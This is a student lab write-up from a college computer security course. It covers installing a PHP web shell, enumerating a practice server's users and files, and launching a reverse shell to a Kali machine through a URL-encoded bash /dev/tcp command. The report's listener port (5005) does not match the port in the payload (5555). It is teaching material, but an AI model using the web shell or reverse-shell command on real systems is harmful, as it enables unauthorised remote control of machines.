reverse-shell.txt
Authors: Elhadji Amadou Touré '25, Angel Ortiz '25
CS 338: Computer Security; Fall 2024; Carleton College
Created 10/30/2024
Last Modified 10/31/2024

======== Installing a PHP web shell ========
a. Instead of echo "stuff here", we had to simply execute the command whoami. More concisely, we replaced the "echo 'stuff here'" with system("whoami"). We should mention that this took some googling. The result we got was "www-data".

b. The <pre> allows for the listing of the files in the folder to be formatted in such a way that it is similar to the display of the file structure in terminals. Empty lines and new lines are printed as spaces when shown in the browser which ultimately results in a display of subsequent files; however, the <pre> tag allows for the display of files/folders to be done with the addition of new lines.

======== Looking Around ========

a. /var/www/danger.jeffondich.com/uploadedimages

b. We got a lot of users (and this somewhat answers the next question) but they are as follows. Now, clearly, some of these are procesees. We had a hard time figuring out which were services / processes and which were users. First, we will list them all: root, daemon, bin, sys, sync, games, man, lp, mail, news, uucp, proxy, www-data, backup, list, irc, gnats, nobody, systemd-network, systemd-resolve, messagebus, systemd-timesync, syslog, _apt, tss, uuidd, tcpdump, usbmux, sshd, pollinate, landscape, fwupd-refresh, jeff, postgres, bullwinkle. Now, we believe that man, www-data, nobody, pollinate, landscape, jeff, and bullwinkle are the actual users.

c. Yes! It effectively has information about all user accounts on the system, specifically Username, Password placeholder, User ID, Group ID, User description, Home directory, and shell.

d. No! Looking online, this folder seems to store the hashes of the passwords of the users. It would make sense for us not to have access to it as a typical safeguard. It is effectively only accessible by the root user.

e. We successfully identified two "secret" files containing ASCII art and congratulatory messages. The first was /var/www/danger.jeffondich.com/secrets/kindasecret.txt, which contained ASCII art of a frog with a message, and the second was /var/www/danger.jeffondich.com/youwontfindthiswithgobuster/secret.txt which also contained ASCII art of a bird with a message.

f. On another note, we were actually able to find a bunch of writable directories including /tmp, /dev/shm, /var/tmp, /proc, /run/screen, /var/lib/nginx/fastcgi, and other /var/lib/nginx subdirectories. There was also a Web-accessible writable directory: /var/www/danger.jeffondich.com/uploadedimages (which makes sense); and, using a simple test, we confirmed that writing to /tmp is permitted by successfully echoing “Testing write permissions” into a test file (/tmp/test_write.txt) and retrieving the contents. Finally, in terms of system and process information, we were able to figure out that this server specifically used Ubuntu, kernel 5.15.0-88-generic as its OS and Kernel Version, and we also found many processes running under www-data, including nc and shell (which make sense) and they attempt reverse shell connections on 127.0.0.1:1234.

======== LAUNCHING A REVERSE SHELL ========
a. The IP address of our Kali machine was 192.168.69.2. We found this out simply by running "ip a, " which was listed under the eth0 primary network interface.

b. To find the IP address of our host OS (macOS), we ran ipconfig getifaddr en0, which returned 10.133.28.32. There is also a public IP address, but we went with the local one because Kali and our Mac are on the same local network. This simplified the connection and avoided the firewall issues mentioned.

e. We chose port 5005 for listening and ran the commands. In our Mac browser, we ran the following after setting up Kali:
http://192.168.69.2/webshell.php?command=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/10.133.28.32/5555%200%3E%261%22. This pretty much sends a command to the Kali to open a reverse shell connection back to our Mac on the specified port. Doing this, upon checking the nc listener on our host OS, showed us a bash prompt:

amadoutoure@Amadous-MacBook-Pro-2 cs338 % nc -l -p 5005
www-data@kali:/var/www/html$

We typed whoami and the response was www-data. This not only confirms that we can execute commands on Kali, but we also know that it's kali not only because of the "@kali" but typing whoami on our kali also gave www-data.

f. This required some looking up but we found the following:
%20 = space
%3E = >
%26 = &
%22 = "

f. First, our host OS (Mac) listens on port 5005, waiting for an incoming connection from Kali. When the URL is accessed, the webshell command opens a bash shell on Kali and forces it to initiate a connection back to our Mac’s IP address and port 5005.Kali’s bash shell connects back

to our host OS, completing the reverse shell connection. Hence, we can now control the Kali machine through commands sent over this network link.